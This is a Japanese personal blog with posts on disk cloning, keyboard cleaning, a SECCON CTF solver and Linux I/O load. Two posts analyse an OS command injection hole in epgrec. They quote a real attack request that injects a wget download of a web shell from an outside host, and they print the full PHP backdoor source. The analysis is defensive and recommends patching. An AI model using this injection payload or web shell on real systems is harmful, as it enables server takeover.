2018年1月4日木曜日

ディスクサイズの大きい HDD 等からディスクサイズの小さい SSD 等への Linux クローン

どうしてもうまく行かない理由が分からないので検証内容のメモ。
500GB 程度の HDD に Linux システムがインストールされている状況で、
256GB 程度の SSD に換装してディスク I/O 性能を上げたい場合の話。
HDD の内容を SSD へクローンして SSD 側からシステムを立ち上げて
元々の HDD はフォーマットしてデータ領域にでもしようとしてなかなかうまく行かない。

前提条件

  • クローン元は /dev/sda1, /dev/sda2, /dev/sda3
    • /dev/sda1 に /, /dev/sda2 に /home, /dev/sda3 は Swap
    • パーティションサイズは大きいが、実際に使用している容量はごくわずかだと仮定
  • クローン先は特にパーティションは存在しない状態
    • /dev/sdb として認識していると仮定
手順

  • クローン元、クローン先をそれぞれパソコンへ接続した状態にする
  • 適当な Linux Live USB とかを起動する(一時作業用 Linux 環境)
  • クローン先の /dev/sdb へ好みのサイズでパーティションを3つ切る
    • /dev/sdb1(/), /dev/sdb2(/home),/dev/sdb3(Swap)
    • /dev/sdb1 は Boot Partition なので、boot flag をセットする(fdisk の a コマンド)
  • partclone でそれぞれのパーティションをクローンする
    • クローン元のパーティションサイズがクローン先より大きいとエラーになる
    • partclone -C オプションでサイズチェックを無視してもエラーで死ぬ
      • そのため、resize2fs でクローン元のファイルシステムをクローン先パーティションより予め小さくしておく
        • # resize2fs -p /dev/sda1 20G
        • # resize2fs -p /dev/sda2 90G
    • # partclone -b -s /dev/sda1 -o /dev/sdb1
    • # partclone -b -s /dev/sda2 -o /dev/sdb2
  • パーティションテーブルを除くブートローダをクローンする
    • # dd if=/dev/sda of=/dev/sdb bs=446 count=1
上記で、/dev/sda の内容が /dev/sdb へ完全にクローンされたはず。
実際にクローン先ディスクのパーティション /dev/sdb1, /dev/sdb2 をそれぞれマウント
して確認してみると、正しくマウントできて中身が見える。
元のシステムでは /etc/fstab のマウントの指定は、すべて UUID ベースでしており
partclone でクローンしたパーティションは例えサイズが異なっていても UUID は同じ値を
保持している為、このまま起動するとどちらのデバイスから上がるか予測できないので
クローン元ディスクを一旦取り外す。
その後、クローン先ディスクのみの状態にしてから起動してみるのだが、
  • Verifying DMI Pool Data ...
と表示され、全く起動してくれない。
なぜうまく行かないのかさっぱりわからない。
どなたかもし上記の検証内容を見て問題点に心当たりがある方はコメント頂ければ幸いです。

英語キーワード検索用: Clone Larger Disk to Smaller

2015年7月5日日曜日

キーボード(RealForce)を掃除した!

キーボードを徹底的に掃除した。
キートップを全部はずして、キートップ自体は洗濯機で洗濯。
本体側はエアーダスターで吹き飛ばしつつウェットティッシュや綿棒などで汚れを掃除。


















上記画像が掃除前の状態。まだ1年ちょっとぐらいしか使っていないので、外観的には
そこまで汚れがひどいようには見えない。

















上記画像が、KeyPuller でキートップを外した直後の状態。。。
き・・・汚い。。。

外したキートップは洗濯ネットに入れて丸洗い↓

















本体側はエアーダスター、ウェットティッシュ、綿棒等で掃除↓



















完璧には取れなかったが、汚れというよりはキーボード本体側に傷がついていて、その傷が
汚れのように見えているだけのように思う。打鍵が強くて傷ついちゃってるのだろうか。。

本体側を掃除している間にキートップの洗濯が終わったので、タオルの上において乾かし↓


















3時間ぐらいおいてみたが、まだ若干濡れている箇所があったので、ティッシュ等も併用
しつつ1個ずつ綺麗に拭いて本体へ装着。

出来上がった本体↓

















画像だと最初の状態と比べてあまり違いがわからないかもしれない。。
しかし確実に汚れが見えていたので、新品同様に綺麗になったのは確かである。

フラッシュをたいて撮影しても、ご覧の通り綺麗!↓






2014年12月7日日曜日

SECCON 2014 オンライン予選 Writeup

2014/12/6 〜 2014/12/7 で、日本最大のCTFイベントであるSECCON 2014 オンライン予選が
開催されました。

私も自宅から参加させて頂きました。

私が解けた問題の1つについて、僭越ながらWriteupを書かせて頂きます。


Choose the number

Genre Programming
Points 100
Question text 
nc number.quals.seccon.jp 31337

sorry fixed URL
こちらのジャンル「Programming」、ポイント「100点」の問題です。

問題文で提示されたソケットに対してncでアクセスすると、下記の応答があります。

$ nc number.quals.seccon.jp 31337
0, 6
The minimum number? 
Timeout, bye.
$ nc number.quals.seccon.jp 31337
5, 1
The minimum number? 5
Wrong, bye.
$ nc number.quals.seccon.jp 31337
9, 8
The minimum number? 8
-3, -2, 6
The maximum number? 6
0, 5, 7, 0
The maximum number? 7
1, 9, 5, 2, -7
The maximum number? 9
9, 7, -9, 7, -9, 3
The maximum number? 9
0, -1, 8, -2, -5, -6, -7
The maximum number? 8
3, 6, 6, -6, -3, 8, 5, -4
The maximum number? 8
-3, -8, -4, 1, 5, 8, 3, 2, -8
The maximum number? 8
98, 63, 3, -37, 35, -85, 47, 44, 73, -94
The maximum number? 98
-99, 56, 9, -36, -70, 97, -8, -76, -46, 14, -39
The minimum number? -99
-49, 17, 14, -62, -48, 31, 59, -57, 60, 9, 18, -11
The minimum number? -57
Wrong, bye.
提示された数列の中から、最大値もしくは最小値を連続で答えさせる問題です。
手動で進めていくと、だんだんタイムアウトが厳しくなるようで、人間の判断、入力速度では
どうしても最後まで進めない感じでした。

ジャンルは「Programming」であることから、自動的に正解値を送り続けるプログラムを組んで
やれば良いのだと想定出来ます。

まずサーバから送られてくる問題の文字列の規則性を考えてみます。
1. 数列と最小値 or 最大値を聞いてくる文言の必ず2行で構成されている
2. 数列は「, 」と、カンマとスペースで区切られている
3. 数列は問題に正解する毎に数が増えていく
4. 最小値 or 最大値を聞いてくる文言は、「minimum」か「maximum」の2つしか無い
5. 最小値 or 最大値を聞いてくる文言の「minimum」か[maximum」は必ず左から2番目の箇所に存在する

以上から、問題文をParseするのは比較的容易な事が分かります。
また、Parseした結果から正解手を導くアルゴリズムも非常に単純な為、比較的解きやすい問題だと思います。

下記のコードを書いて実行することで、keyが手に入りました。

#!/usr/bin/env python
# coding=utf-8

import socket
HOST = 'number.quals.seccon.jp'
PORT = 31337

def main():
    clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    clientsock.connect((HOST, PORT))
    while True:
        rcvmsg = clientsock.recv(4096)
        print rcvmsg
        answer = solve(rcvmsg)
        print answer
        clientsock.sendall(answer)
    clientsock.close()


def solve(rcvmsg):
    # parse
    temp = rcvmsg.split("\n")
    str_number_list = temp[0].split(", ")
    max_or_min = temp[1].split(" ")[1]

    number_list = []
    for i in str_number_list:
        number_list.append(int(i))

    if max_or_min == "minimum":
        answer = min(number_list)
    else:
        answer = max(number_list)
    return str(answer)
    
if __name__ == "__main__":
    main()

key: SECCON{Programming is so fun!}

下記、実際にコードを実行した時の実行ログです(長いです)。

2, 8
The minimum number? 
2
5, 5, 0
The minimum number? 
0
-1, 2, 2, -4
The maximum number? 
2
8, 4, 3, -8, 9
The maximum number? 
9
8, -7, 2, -5, 1, 7
The maximum number? 
8
-3, 5, 7, 5, -6, -7, 3
The maximum number? 
7
6, 5, 2, -4, -8, 1, -7, -6
The minimum number? 
-8
4, -3, -5, -9, -5, -1, 4, 7, -9
The minimum number? 
-9
-99, -61, -81, -32, 50, 16, 75, 85, 7, -22
The minimum number? 
-99
82, 30, -28, 10, -23, -92, 27, 16, 14, -92, 78
The minimum number? 
-92
8, 56, -1, -74, -28, 43, -84, -32, -4, -56, 35, -52
The maximum number? 
56
3, 5, 26, -2, -81, 39, -53, 64, 28, 92, -83, -90, 44
The maximum number? 
92
4, 26, -50, 67, -55, 72, -72, -44, -77, -58, 75, 21, 70, 49
The maximum number? 
75
73, 12, -27, 22, 73, -12, 0, -16, 89, 66, 2, -43, -26, -2, -55
The minimum number? 
-55
-72, 5, -47, -80, 45, -3, 73, -95, -85, 58, 89, 22, 61, 60, -75, 27
The minimum number? 
-95
86, -41, -31, -30, 67, 33, 76, -14, 78, 95, 26, 88, -91, -20, 45, 51, 83
The minimum number? 
-91
-68, -47, 60, 85, 1, -17, -92, 94, -33, 47, -64, -76, 87, 21, 84, -8, -86, -14
The maximum number? 
94
18, 50, 9, 41, -26, 40, 39, -83, 7, -96, -45, 41, 47, -87, 28, -30, -70, 92, 8
The minimum number? 
-96
973, -220, -62, -952, -63, -18, 420, 121, 556, 267, -576, -421, 775, 421, 830, -70, 229, 2, 581, 839
The minimum number? 
-952
490, 742, 118, 634, -207, 181, -187, 72, 70, -932, -341, 842, -53, -520, -701, 286, 632, -333, -611, 580, 171
The maximum number? 
842
96, -215, 616, 983, 901, -547, 423, -666, 507, -852, -102, 92, -602, 613, 287, 680, 664, -43, -660, -655, -269, -733
The minimum number? 
-852

・・・略・・・

556459593, 2124483131, 2159881254, -3749776183, -2956358028, -525066711, -181583130, 804390823, 1740090484, -793541476, -771482074, 3981865877, -1781852942, 1733051694, -1229826280, -1252056066, 2302429424, -127597216, 584347400, 3201495296, 3793190324, -3792414033, 1778463825, 3285874942, -2696920906, 2556983581, 4058759995, 98217082, -2611145952, -324523284, -3921510686, 4250415544, -3727489945, -1627669983, -3852674381, 4156209840, 1684566595, -559196578, 331587419, 2164599710, 1250638363, 2661376500, -3009444945, 274000465, 3379372586, 3614523634, 4171421938, 619691208, -611617890, 1790148465, -2489245162, -1565675134, -2352506611, 1996182388, -3737895020, 4166992857, -1384468141, 3603231049, 418250494, -1170383247, -4207411230, -1371190709, -2836728233, -1687718214, -605700096, -3148453710, 1719740456, -1854546036, -3313019035, 3529400825, 3170707133, 60340683, -858105108, 2774783484, 4110192850, 908959548, -166441903, -2216610426, -2582470585, 2612317046, 2524067276, -2097902704, -3952326444, 3689731992, 1755793330, 3127603599, 162955011, 381420595, 1091122758, 4131177934, 971526781, 1344495679, -893926365, -1557417848, 457045675, -2006055280, -2434870581, 2715139040, 704942641, -1699474743, -721176381
The minimum number? 
-4207411230
Congratulations!
The flag is SECCON{Programming is so fun!}

Traceback (most recent call last):
  File "./programming_resolver.py", line 37, in 
    main()
  File "./programming_resolver.py", line 14, in main
    answer = solve(rcvmsg)
  File "./programming_resolver.py", line 28, in solve
    number_list.append(int(i))
ValueError: invalid literal for int() with base 10: 'Congratulations!'

最後にParseに失敗しているのは、サーバから飛んでくる文字列形式が異なるからで、気にしない。

一部 XSS Bonsai という問題で、Windowsが無いと問題に挑戦することすら出来ない問題があり、
私はLinuxしか手元にない為、どんな問題だったのかそれだけ見ることが出来ませんでした・・。
wine でも動作せず・・・。 CTFはプロプライエタリソフトウェアを持っていることが前提なのでしょうか・・・。

2014年12月3日水曜日

負荷の正体はなんなんだ!?定期的に重くなるLinux mint 17 (qiana)

久しぶりにブログ書きます。

私はLinux mint MATE を日常的に使っているのですが、ここ数ヶ月の間
たまに何も自分では処理をさせているつもりがないのにOS全体がもっさりと
重くなることがありました。

今までずっと原因がわからずにいたのですが、今日判明して嬉しくなってこのエントリを書いていますw

状況ですが、OS起動して数分後から突然ストレージアクセスランプが点灯しっぱなしに十数分程
なってしまい、何をするにもIO待ちになってしまいます。

ストレージアクセスランプが光っぱなしなので、IO負荷がかかっていることは容易に分かっていたのですが
じゃあ、どのプロセスがIO負荷をかけているのか?までは掴みきれていませんでした。

今回重い腰を上げて、色々調べてみましたところ、Linuxには「iotop」という素晴らしいコマンドがありました。
このコマンドを実行すると、IO負荷が高いプロセス順にtopコマンドのような出力が得られました。

で、今回判明したプロセスはこれ
「fstrim」

初めて見るコマンドですが、こいつがIOを99%奪い続けていました。
なんだろうかと調べてみると、どうやらUbuntu 14.04ベースのLinuxでは
一週間に1回、自動的にこのコマンドを定期実行するように最初から
スケジューリングされていることが判明しました。

/etc/cron.weekly/fstrim

にしっかり定義されています。

このコマンドは、WindowsでいうところのHDDのデフラグみたいなコマンドらしい。
定期的に実行することでIOパフォーマンスが劣化しないようにしてくれてる模様。

PostgreSQLのvacuum みたいなイメージかなぁ・・・。
Linuxにもこの手のコマンドあるとは知りませんでした。

なんかたまにIO負荷ががくんと十数分上がりっぱなしになって原因がわからず
困っている人の何かしらの参考になれば・・・。

2014年2月23日日曜日

「続編」epgrecの脆弱性を検証する

前回 epgrecの脆弱性について検証しましたが、しばらく対策について
記述していませんでした。
私の場合、epgrec fork の epgrec UNA というものを使用しており、UNA版での
対策について検討したいと思います。

fork版の開発者から、修正パッチが出ているのでそれを適用します。
http://d.hatena.ne.jp/katauna/20140118/1390017028

パッチ内容を確認します。

$ diff -u /var/www/epgrec/install/step5.php ./step5.php
--- /var/www/epgrec/install/step5.php 2011-10-09 16:57:55.000000000 +0900
+++ ./step5.php 2014-01-18 12:13:04.000000000 +0900
@@ -4,10 +4,6 @@
 
 $settings = Settings::factory();
 
-if( isset( $_GET['script'] ) )
- $epg_rec = $_GET['script'];
-else
- exit();
 if( isset( $_GET['time'] ) )
  $rec_time = $_GET['time'];
 else
@@ -15,8 +11,21 @@
 
 echo 'EPGの初回受信を行います。'.$rec_time.'分程度後に<a href="'.$settings-%3Einstall_url.'">epgrecのトップページ
を開いてください。';
 
-@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
-
+if( isset( $_GET['script'] ) ){
+ $epg_rec = $_GET['script'];
+ switch( $epg_rec ){
+  case '/getepg.php':
+  case '/shepherd.php':
+   @exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
+   break;
+  default:
+   $alert_msg = '不法侵入者による攻撃を受けました。['.$_SERVER['REMOTE_HOST'].'('.$_SERVER['REMOTE_ADDR'].")]\nSCRIPT::[".$epg_rec.']';
+   reclog( $alert_msg, EPGREC_WARN );
+   file_put_contents( INSTALL_PATH.$settings->spool.'/alert.log', date("Y-m-d H:i:s").' '.$alert_msg."\n", FILE_APPEND );
+   syslog( LOG_WARNING, $alert_msg );
+   break;
+ }
+}
 exit();
 
 ?>
これを見ると、URI部分に「?script=;wget〜」のOSコマンドインジェクション攻撃をされた
場合には、処理の実行を中断し攻撃の痕跡をログに残すように変更されています。
scriptパラメータに渡して有効な文字列は「/getepg.php」と「/shepherd.php」のみに
限定されている為、これで攻撃は防げると思います。
そもそもなんですが、このWebアプリはWANに公開することをあまり想定されてないようなので
LAN内限定でアクセス可能に制限し、外から使う時はVPNやssh port forward 等を組み合わせて
利用することをオススメします。そうしないとまた他にも脆弱性が発見される可能性が高いように思います。

# 前回で紹介した攻撃者が不正にアップロードしてきたPHPシェルの検証ももっと深く突っ込んでやりたいですね・・・

2014年1月21日火曜日

epgrecの脆弱性を検証する

epgrecの脆弱性が巷で話題になっているようなので検証してみたい。
この辺を参照

epgrecとは、Linux環境でテレビ番組を録画するソフトウェア、もう少し
詳しく言うといわゆるWebアプリケーションである。

今回問題となったのはこのepgrecの脆弱性、問題となったコードは下記
epgrec/install/step5.php
if( isset( $_GET['script'] ) )
        $epg_rec = $_GET['script'];
else
        exit();
if( isset( $_GET['time'] ) )
        $rec_time = $_GET['time'];
else
        exit();

echo 'EPGの初回受信を行います。'.$rec_time.'分程度後にepgrecのトップページを開いてください。';

@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );

exit();

このスクリプトに「OSコマンドインジェクション」の脆弱性がある。
@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
この部分、外部から「script」というパラメータで受け取った値を
何のチェックもせずに @exec() メソッドの引数の一部として渡してしまっている。
この場合、$epg_rec 変数の中に「;任意のコマンド」と、セミコロンをつけることで
OSコマンドインジェクション攻撃が成立してしまう。

今回の攻撃リクエストは下記
87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148 
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 

これはつまり、WebブラウザのURL欄に下記のように指定してページを読み込んだことと等しい。
http://被害者のサーバ/epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol
これのURLエンコードされている部分(wgetのあたり)をデコードすると
;wget -4 -O /home/(ユーザ名)/public_html/epgrec/thumbs/tv.php http://gesopls.de/script/epgrec_shell.txt
となる。wgetコマンドはファイルをダウンロードするLinuxコマンド。 wgetの-4オプションは、IPv4のみに接続するオプションで、-Oオプションは保存先のディレクトリや 保存ファイル名を指定するオプション。 今回はepgrecインストール先のthumbs/ ディレクトリの下に tv.php というファイル名で epgrec_shell.txt をダウンロードさせた事になる。 クラッカーが任意のファイルをPHPが動作するディレクトリにアップロードできたというわけ。 そんでもって、どんなファイルをアップロードされたのかと言うと、アップロードされたファイルの中身がこちら
epgrec_shell.txt
<?php 
 header('Content-Type: text/html; charset=utf8');
?>
<html>
<head>
<script language="JavaScript">
function hex(d) {
 return d.toString(16);
}
function Encrypt(theText) {
 output = new String;
 Tmp = new String;
 Temp = new Array();
 TextSize = theText.length;
 for (i = 0; i < TextSize; i++) {
  Temp[i] = theText.charCodeAt(i);
 }
 for (i = 0; i < TextSize; i++) {
  Tmp = hex(Temp[i]);
  if (Tmp.length == 1) {
   Tmp = "0" + Tmp;
  }
  output += Tmp;
 }
 document.cmdform.cmd.value=encodeURIComponent(theText);
 document.cmdform.submit();
}
</script>
</head>
<body>
<center>
<form name="encform" onsubmit="return false;">
<textarea name="dcmd" rows="5" cols="50">
</textarea> 
<br/>
<input value="Execute" onclick="Encrypt(this.form.dcmd.value);" type="button"> 
<br/>
</form>
</center>
<form name="cmdform" method="GET" action="">
<input name="cmd" type="hidden" value="">
</form><br/>
<?php 
function hex2str($hex) {  
 for($i=0;$i<strlen($hex);$i+=2) {    
  $str.=chr(hexdec(substr($hex,$i,2)));  
 }  
 return $str;
}

if ($_GET['cmd']) { 
 if($_GET['sjis']==1) 
  $cmd = trim(mb_convert_encoding(urldecode($_GET['cmd']),"SJIS","UTF-8"));
 else 
  $cmd = trim(urldecode($_GET['cmd'])); 

?>
Command : <?php  echo $cmd  ?>
<br/>
<p>
<pre>
<?php 
 $cmd = "(".$cmd;$cmd .= ") 2>&1";
 if (!$_GET['type']) {
  system($cmd);
 } elseif ($_GET['type']==1) {
  passthru($cmd);
 } elseif ($_GET['type']==2) {
  echo (exec($cmd));
 } elseif ($_GET['type']==3) {
  $output = shell_exec($cmd);
  echo $output;
 } 
?>
</pre>
</p>
<?php } ?>
このスクリプトの詳細についてはまた後日検討するとして、結局何かと言うと これはバックドアだ。 テキストエリア欄に任意のコマンドを入力すると、実際にサーバ上でそのコマンドが 実行されてしまう。コマンドの実行権限はApache2を動かしているユーザの権限になる。 大抵の人が「www-data」になると思われる。 下記は私が実際にこのスクリプトを検証してみた結果の画面。Webブラウザを通して 任意のコマンドが実行可能になっている。
このようにして、クラッカーは好き勝手に番組を録画し、好き勝手に自分のサーバへ
FTPやscp等を使ってアニメの.tsファイルをアップロードしていたものと思われる。
そして、このバックドアはJavaScriptによって暗号化したり復号化したりしながら 処理をしているように見えるが、これは何のためにこんなややこしいことをしているのか 現段階ではちょっとわからない。
Apache2のログを難読化するためにやっているのかと想像したのだが、実際にこの状態でログを確認してみると下記のようになる。
192.168.11.30 - - [21/Jan/2014:23:50:52 +0900] "GET /epgrec/thumbs/tv.php?cmd=uname%2520-a HTTP/1.1" 200 843 "http://mint-rec.local/epgrec/thumbs/tv.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
これではどんな任意のコマンドを実行したのか丸見えなので難読化(?)している意味がない。

一先ず今日はこの辺まで・・・。
海外のクラッカーにクラッキングされないように、きちんと脆弱性を修正したパッチを当てましょう。
このepgrec、意外と脆弱性が他にもまだまだあったりしそうな気がしますね・・・。